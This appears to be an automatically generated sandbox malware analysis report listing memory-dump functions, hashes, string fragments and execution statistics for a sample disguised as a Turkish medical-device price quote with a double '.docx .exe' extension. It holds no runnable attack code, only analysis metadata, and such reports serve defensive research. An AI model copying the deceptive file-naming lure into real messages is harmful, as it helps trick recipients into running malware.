Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df14bcfd93813212fa33ebc3e83238cd037769353bdc9aebcbe69ac32c1829f
Instruction ID: 1269e10b4d7b4a6b999d161c89e02603be84ec05157dea7ab9830bd5d5d46b54
Opcode Fuzzy Hash: 9df14bcfd93813212fa33ebc3e83238cd037769353bdc9aebcbe69ac32c1829f
Instruction Fuzzy Hash: 25D199B1B102068BEB25DB75C4507AEB7FAAF89600F14846DD14A9B394DB35ED02CB61

Function 076D6328 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cbd522683730a3d7cbfd704c10a22afedf6fe816b401a2649ea460440194bf0
Instruction ID: 51497cb723cc01d474de51490cbd1273e1ca774084b473ebf222272795324111
Opcode Fuzzy Hash: 7cbd522683730a3d7cbfd704c10a22afedf6fe816b401a2649ea460440194bf0
Instruction Fuzzy Hash: BCE106B4E102198FDB14CFA8C584AAEBBF6FF89344F248169D815AB359D734AD41CF60

Function 076D3E68 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4772d95dc3b2c19cd40bf22018d069891175d361f34c5f7591206c901df92e1f
Instruction ID: 6eddc1b57a9d78fccc9d258326f774bea759778e62e3a57c7965aa9d2d1967ad
Opcode Fuzzy Hash: 4772d95dc3b2c19cd40bf22018d069891175d361f34c5f7591206c901df92e1f
Instruction Fuzzy Hash: C8E1F7B4E102598FDB14CFA9C580AAEBBF6FF89304F248169D815AB355DB34AD41CF60

Function 076D42A0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1d46d07243d7ed561e9690b48dddcb8f28c82dbbcb46a38b32f53380572a0a
Instruction ID: ca719f0fb6ed0601120e56a2371d7848885cdad2a24233fcb51f874b6b71a697
Opcode Fuzzy Hash: dc1d46d07243d7ed561e9690b48dddcb8f28c82dbbcb46a38b32f53380572a0a
Instruction Fuzzy Hash: F6E107B4E102598FDB14CFA9C580AAEBBF6FF89304F248169D805AB355DB34AD41CF60

Function 076D5540 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd54bc4823d520b012f4ba65de84d9bf9cd62f779d5d65724feba17a00b9305
Instruction ID: 922f8ffa4ba654a675c095f75b398e575dd99280611842c9dd6523fe170852b2
Opcode Fuzzy Hash: 1dd54bc4823d520b012f4ba65de84d9bf9cd62f779d5d65724feba17a00b9305
Instruction Fuzzy Hash: 9DE1D9B4E102598FDB14CFA9C580AAEBBF6FF89304F248169D816AB356D7349D41CF60

Function 0557DFB4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbdc024215cb97f12a06876f35b8594a6dbf5d643a92533fc2abf4519ba7d0fa
Instruction ID: 0787069add8dc7205bf6d29e4bc329b9a267a6fb920110b20702568522a80438
Opcode Fuzzy Hash: dbdc024215cb97f12a06876f35b8594a6dbf5d643a92533fc2abf4519ba7d0fa
Instruction Fuzzy Hash: 11A18132E10319CFCF05DFB4E84459EBBB6FF85300B1545AAE805AB261DB31E946CB90

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7608, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.7%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 029A9DE0 Relevance: 6.1, Strings: 4, Instructions: 1121COMMON

Download Yara Rule

Strings

4'q, xrefs: 029A9E04
(oq, xrefs: 029AA518
4'q, xrefs: 029A9F0C
4'q, xrefs: 029AAB13

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq$4'q$4'q$4'q
API String ID: 0-2528434116
Opcode ID: de0d96b0d8d02f5668a5a6faf5c8948cfa3131f334b3f5a4b4dfaef01eb08437
Instruction ID: 3a533d19cc95b6f3c2f5460d990ceb29cc67d35b4237bade897597044c60d91a
Opcode Fuzzy Hash: de0d96b0d8d02f5668a5a6faf5c8948cfa3131f334b3f5a4b4dfaef01eb08437
Instruction Fuzzy Hash: AEA26C31A0030A9FCB15CF68C994AAEBBF6FF88314F158569E406DB265D735ED41CB90

Function 029A7118 Relevance: 5.4, Strings: 4, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 029A7298
(oq, xrefs: 029A7220
,q, xrefs: 029A728A
(oq, xrefs: 029A7212

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q
API String ID: 0-620556200
Opcode ID: 0fe45c7b2df41800b16f1c38fcd3002b72d500fa5d8f3acd9e16ecb1e523fdcd
Instruction ID: 17ef691826430c7ec9967ca6760167907a802b7d7d01659fe6a57ebae6555d87
Opcode Fuzzy Hash: 0fe45c7b2df41800b16f1c38fcd3002b72d500fa5d8f3acd9e16ecb1e523fdcd
Instruction Fuzzy Hash: 07E11C31A00219DFCB14CFA9D8A5AEDFBF6BF89304F558465E815AB265DB30E841CF90

Function 029A69B0 Relevance: 3.1, Strings: 2, Instructions: 561
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 029A6EDA
Hq, xrefs: 029A6DA6

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: b7265e8a59be56870e0dd3d8af0b093c2029cf18bc634dda17dc77ce12e1e9c1
Instruction ID: cccd818ecedd234ad33339cf33da0a55f2643f87935cd5f51599f041b1a80b48
Opcode Fuzzy Hash: b7265e8a59be56870e0dd3d8af0b093c2029cf18bc634dda17dc77ce12e1e9c1
Instruction Fuzzy Hash: 90227F70A002199FDB14DF69C855BAEBBBAFF88340F188469E805DB395DF349D42CB90

Function 029AC148 Relevance: 2.7, Strings: 2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029AC400
PHq, xrefs: 029AC3EF

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: f558256369b6861ba1f31daff1064561782fed7624f5d1cef8db889b8ae2b01a
Instruction ID: 01fc70afa5a7d91fd887e76c919374307ba37600357eb07a96a9fe3fdefc1a3c
Opcode Fuzzy Hash: f558256369b6861ba1f31daff1064561782fed7624f5d1cef8db889b8ae2b01a
Instruction Fuzzy Hash: 0DA1E674E00318DFEB14DFA9D894A9DBBF6BF89310F14806AE409AB365DB709841CF55

Function 029A5362 Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029A55D9
PHq, xrefs: 029A55C8

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: aa88e913ff46920c8be162df1a7277b97a6253ec3d67f2c8919f2e43488218b6
Instruction ID: cb0ed982b551c8765ff0dee3e74eecab42b27a6f4d70d9937893fe06832f3d9e
Opcode Fuzzy Hash: aa88e913ff46920c8be162df1a7277b97a6253ec3d67f2c8919f2e43488218b6
Instruction Fuzzy Hash: 1891CF74E00318DFEB14DFAAD994A9DBBF2BF88300F158069E809AB365DB309845CF51

Function 029AC468 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029AC6BF
PHq, xrefs: 029AC6D0

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 320b148009d2d7022c226dcd6d459d308827fa7a5c287ce8012cae9d7a1ce017
Instruction ID: a4dad7b560b5fc887df703ca4c0024456f8fd8faefb4a37c921fbff940464c8b
Opcode Fuzzy Hash: 320b148009d2d7022c226dcd6d459d308827fa7a5c287ce8012cae9d7a1ce017
Instruction Fuzzy Hash: 4281B274E00218DFEB14DFAAD994B9DBBF2BF88300F14906AE419AB365DB709941CF51

Function 029ACA08 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029ACC70
PHq, xrefs: 029ACC5F

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 914d8d81444b0290c032bdb1bfdcefb62057b303811b2b9f0080b0db535a05e1
Instruction ID: 769fdb42d311742df0b003bf36d01230d2331500722630e33455e7958c071e0d
Opcode Fuzzy Hash: 914d8d81444b0290c032bdb1bfdcefb62057b303811b2b9f0080b0db535a05e1
Instruction Fuzzy Hash: D481B174E00218DFEB14DFAAD994A9DBBF2BF88300F14C46AE419AB365DB709941CF50

Function 029AD278 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029AD4CF
PHq, xrefs: 029AD4E0

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: eab0f0e852c3fa4c5d77538fd4cd98b2c3c2a390c5f519a147130621be6f8c77
Instruction ID: 1c42bcf45102fbfb09b902abc3d23b32d79737b079e45cae67d9c48bc433fbe8
Opcode Fuzzy Hash: eab0f0e852c3fa4c5d77538fd4cd98b2c3c2a390c5f519a147130621be6f8c77
Instruction Fuzzy Hash: 0181A474E00218DFEB18DFAAD994A9DBBF2BF88304F148069D419AB365DB709945CF60

Function 029AC738 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029AC98F
PHq, xrefs: 029AC9A0

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 78fb7cf3be48962c04c076f3336393f3ad816db7138082414319ed2793161107
Instruction ID: 1b3d53ec1b1776755bdcad27dc5c5364d045d6850cc58046d692eeaf5cef04cc
Opcode Fuzzy Hash: 78fb7cf3be48962c04c076f3336393f3ad816db7138082414319ed2793161107
Instruction Fuzzy Hash: 6E818074E00218DFEB14DFAAD994B9DBBF2BF88300F15806AE419AB365DB709941CF51

Function 029ACCD8 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029ACF2F
PHq, xrefs: 029ACF40

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 578cbcdcf945d51103e8237c1ec115e4daa8c04bf55fd857d5f8edde894eeaca
Instruction ID: 8d3a72e1f4e0d4a76a87600550e19ad9fe9830a9ed125f3a5c4f9884d5f4df9e
Opcode Fuzzy Hash: 578cbcdcf945d51103e8237c1ec115e4daa8c04bf55fd857d5f8edde894eeaca
Instruction Fuzzy Hash: 97819374E00218DFEB14DFAAD994A9DBBF2BF88300F24C06AE419AB365DB705945CF51

Function 029ACFAA Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 029AD210
PHq, xrefs: 029AD1FF

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 01f7f8285b11a78268ace8bcdf9fb816004fcd47500c4ad847681e295628eda4
Instruction ID: 569a3541c3c354fe333aaa37aa14fd088c6c128dea81c93ec7e8545b9f645f8b
Opcode Fuzzy Hash: 01f7f8285b11a78268ace8bcdf9fb816004fcd47500c4ad847681e295628eda4
Instruction Fuzzy Hash: B381A274E00218DFEB18DFAAD994A9DBBF2BF88300F148069E419AB365DB709945CF50

Function 05569548 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3765414670.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5560000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8cd6a023c1af390ee0b37c2322652876da780b57ca91ca5cfffb9a7f932ed25
Instruction ID: 0486f12ead01ce4267a6e89aaa79f3c2bd2d6e008e2a5734872518a73a1d48ad
Opcode Fuzzy Hash: b8cd6a023c1af390ee0b37c2322652876da780b57ca91ca5cfffb9a7f932ed25
Instruction Fuzzy Hash: 7FF1E274E00258CFDB14DFA9C984B9DBBF2BF88304F5481A9D848AB395DB749986CF50

Function 029AE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcde03898dacc8a28ecc7dd3af3c1e0ceadcbc77cfaa70f2dd89b5a4b50a95f3
Instruction ID: 92832d2fc0147a7832211bfca20d2e8c08429bfbbf5635f7ed2e26061210f0df
Opcode Fuzzy Hash: fcde03898dacc8a28ecc7dd3af3c1e0ceadcbc77cfaa70f2dd89b5a4b50a95f3
Instruction Fuzzy Hash: C1517474E00308DFEB18DFAAD594A9DBBF6BF89300F248129E815AB364DB305842CF54

Function 029AE97A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb15a4313d2fc8e0ec63f243ccb8de57fba3127031df0ce9c365dd8dea8b3e1
Instruction ID: 617d9eca328f98cee2554509692e0d0458d42e7b28dfd8e3d9359dd9cf4436a0
Opcode Fuzzy Hash: cdb15a4313d2fc8e0ec63f243ccb8de57fba3127031df0ce9c365dd8dea8b3e1
Instruction Fuzzy Hash: BC519774E00308DFEB18DFAAD594A9DBBB2FF89300F248029E815AB365DB345842CF54

Function 029A7700 Relevance: 10.4, Strings: 8, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 029A772E
(oq, xrefs: 029A78B2
(oq, xrefs: 029A7C0F
(oq, xrefs: 029A77E9
(oq, xrefs: 029A7815
,q, xrefs: 029A7B90
(oq, xrefs: 029A7BFF
,q, xrefs: 029A7BA0

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq$(oq$,q$,q
API String ID: 0-2212926057
Opcode ID: 282bc64a1ef26db2e014cefab66129851af4c98916b00be31184603270dfeada
Instruction ID: 205aff04bc0fb3f3e59a528982bddceb2e54988ef7d2d89e36c6d793a6069cad
Opcode Fuzzy Hash: 282bc64a1ef26db2e014cefab66129851af4c98916b00be31184603270dfeada
Instruction Fuzzy Hash: 93124734A003099FDB24CFA9D8A5AEEBBF6BF88314F158559E4159B361DB30ED41CB90

Function 029A76F1 Relevance: 5.3, Strings: 4, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 029A772E
(oq, xrefs: 029A78B2
(oq, xrefs: 029A77E9
(oq, xrefs: 029A7815

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq
API String ID: 0-3853041632
Opcode ID: 4657b5a4b9133f87de9e6c46176c49bc77406b330631a61cd1455679cadbebe9
Instruction ID: 0d3f6c59e896e9572fdf63239a3679db5248d86ba33f0836e4e6ffa21a8cac7d
Opcode Fuzzy Hash: 4657b5a4b9133f87de9e6c46176c49bc77406b330631a61cd1455679cadbebe9
Instruction Fuzzy Hash: D6C13830A002099FDB24CFA9C995AEEFBF6BF88314F158559E855AB361D730ED41CB90

Function 029A9A20 Relevance: 2.8, Strings: 2, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 029A9D6D
4'q, xrefs: 029A9D84

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 618fb7a59ce379878f9a906e465b360213dd9b0055ce318fe4ad660a1c5271f5
Instruction ID: d34925c87b4f7d68bc6551413dad807738597662373495f2f1c2aa786d08cdeb
Opcode Fuzzy Hash: 618fb7a59ce379878f9a906e465b360213dd9b0055ce318fe4ad660a1c5271f5
Instruction Fuzzy Hash: 84C1C0316007059FEB10CF68C894BAABBAAFF89314F14C566E9599B355D731EC42CBE0

Function 029A5F38 Relevance: 2.8, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 029A6056
Hq, xrefs: 029A6023

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: Hq$Hq
API String ID: 0-925789375
Opcode ID: 544bb40a1b0198d513195f806b225f760abac7ad9fcc8f325d7777dbdc48cff6
Instruction ID: 07b827b1ef6c2fa13f4d9eff4ba0ef3a63433b3b6795f55a081ab13f2ac17d28
Opcode Fuzzy Hash: 544bb40a1b0198d513195f806b225f760abac7ad9fcc8f325d7777dbdc48cff6
Instruction Fuzzy Hash: 0191AE307043158FEB159F25D869B6E7BBAEF89304F188469E4468B395DF388C42CBD1

Function 029A6498 Relevance: 2.7, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 029A6578
,q, xrefs: 029A656E

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: ,q$,q
API String ID: 0-1667412543
Opcode ID: d29715f8815c70a3335b4ba0b564dee3881122d5f81131fce0f07e8ca635fe42
Instruction ID: 319902cc5f34d153ef27fb436b1d1d35b708a23ede10c9867c96f3943bfd97b8
Opcode Fuzzy Hash: d29715f8815c70a3335b4ba0b564dee3881122d5f81131fce0f07e8ca635fe42
Instruction Fuzzy Hash: 86817D34A006058FCF54CF6DC4A8AA9BBBAFF89714B198169D505DB364DB31E841CBA1

Function 029A3CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xq, xrefs: 029A3CCD
Xq, xrefs: 029A3CF6

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: Xq$Xq
API String ID: 0-1556399337
Opcode ID: c314bef0ef8b7e4ce5ca8d0b71747e5509f837c316cf8d35addc95565bad2c2f
Instruction ID: 145906cb4093b0fb7ec7b15879f48b05aeccb29ddb925044ccc488dc5dbb667b
Opcode Fuzzy Hash: c314bef0ef8b7e4ce5ca8d0b71747e5509f837c316cf8d35addc95565bad2c2f
Instruction Fuzzy Hash: A731A435B00325CBDF28566A98A537E66AEAFC4214F184479F806C7380DFB4CC4586E9

Function 029A8EF8 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

$q, xrefs: 029A8FD7
$q, xrefs: 029A8FB4

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 9a2f053dfbea2f0f6966fa6f151fdf8e558ce34f3aa0f658515e26886fa31dc2
Instruction ID: e55fb58b5fd65049c106e0fb29b98e3f8bb07362c664b6e1c2a221b52b62ec89
Opcode Fuzzy Hash: 9a2f053dfbea2f0f6966fa6f151fdf8e558ce34f3aa0f658515e26886fa31dc2
Instruction Fuzzy Hash: 13316D303143538FDB259B29DCA477EBB6ABB84610B28487AF056DB292DF28DC41C7D5

Function 029A0C8F Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LRq, xrefs: 029A0F19

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 79380d15d276a0ee2f48e9e9029d06e95e16aa17ddf0ed5e9b74b387a95c3288
Instruction ID: d9b4ff59856f8c200353bf35b16e225d2a366d4b5c0bf9dffe0f0f82ffc37e19
Opcode Fuzzy Hash: 79380d15d276a0ee2f48e9e9029d06e95e16aa17ddf0ed5e9b74b387a95c3288
Instruction Fuzzy Hash: EE52C878D01219CFDB54EF24E995B9DBBB2FB48301F1089A5D409AB399DB346D82CF90

Function 029A0CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LRq, xrefs: 029A0F19

Memory Dump Source

Source File: 00000007.00000002.3759058822.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_29a0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 1fc400bdaa233276c7093bcc012ac0c803da19874c00dd72fe45e5014302495c
Instruction ID: 0a133db713cbc37974f15ad1a6fa967517ab45b4850761fb5ec283580c3d38d7
Opcode Fuzzy Hash: 1fc400bdaa233276c7093bcc012ac0c803da19874c00dd72fe45e5014302495c
Instruction Fuzzy Hash: 6752C878D01219CFDB54EF24E995B9DBBB2FB48301F1089A5D409AB399DB346D82CF90

Function 0556992C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05569A6E

Memory Dump Source

Source File: 00000007.00000002.3765414670.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5560000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3481b05e8c82b3e0aa376f129e1138505e22ef5fa5bac9108eee7462b0f75138
